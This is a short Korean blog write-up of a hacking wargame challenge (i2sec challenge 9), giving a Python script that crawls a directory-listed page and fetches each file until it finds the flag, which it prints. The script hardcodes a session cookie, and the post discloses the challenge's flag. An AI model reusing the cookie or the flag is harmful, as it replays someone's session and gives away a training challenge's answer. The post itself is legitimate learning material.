카테고리 없음

i2sec wargame challenge 9 write up

2017. 12. 10. 22:33

최근에 내가 있던 카카오톡 해킹 오픈채팅방에서 i2sec 학원에서 운영하는 한 워게임을 보게 되었다. 재밌어서 풀어봤다. 


Challenge Analyse

일단 문제를 알아보자. 문제에 접속해보면 Directory Listing이 된 페이지를 볼 수 있다. 하나하나의 파일 안에는 nononononononononono 라는 값이 들어가 있으며, 플래그 파일에는 i2sec{~~~} 형식의 플래그가 존재함을 유추할 수 있다. 



시나리오 

파이썬으로 프로그래밍해서 모든 <a href=link>들을 긁어온 뒤, 하나하나에 request를 보내서 내용을 확인하고 플래그이면 플래그를 출력하면 될 것 같다. 


Exploit 

#!/usr/bin/python

# coding: utf-8


import requests

from bs4 import BeautifulSoup

import sys


headers = {

    'Cookie': 'cuk_ubp=CUK_D89AA5750_1501276929; PHPSESSID=ncm9a0li872fq3a4hsvg10c3d6'

}


url = 'http://mkgk222.cafe24.com/web/wargame/challenge9/'

content = requests.get(url, headers=headers).text

soup = BeautifulSoup(content, 'lxml')


links = [ ]

for link in soup.find_all('a'):

    if str(link.get('href')).find("?") > -1 or str(link.get('href')).find("/") > -1:

        pass

    else :

        links.append(str(link.get('href')))


for link in links:

    url = "http://mkgk222.cafe24.com/web/wargame/challenge9/" + link

    content = requests.get(url, headers=headers).content

    print "[*] Accessing {0}".format(url)


    if content.find("nonono") == -1:

        print content

        sys.exit(-1)


requests 모듈과 bs4 모듈을 이용해서 디렉터리 안에 있는 플래그를 찾았다. 


flag : i2sec{gothackcoding}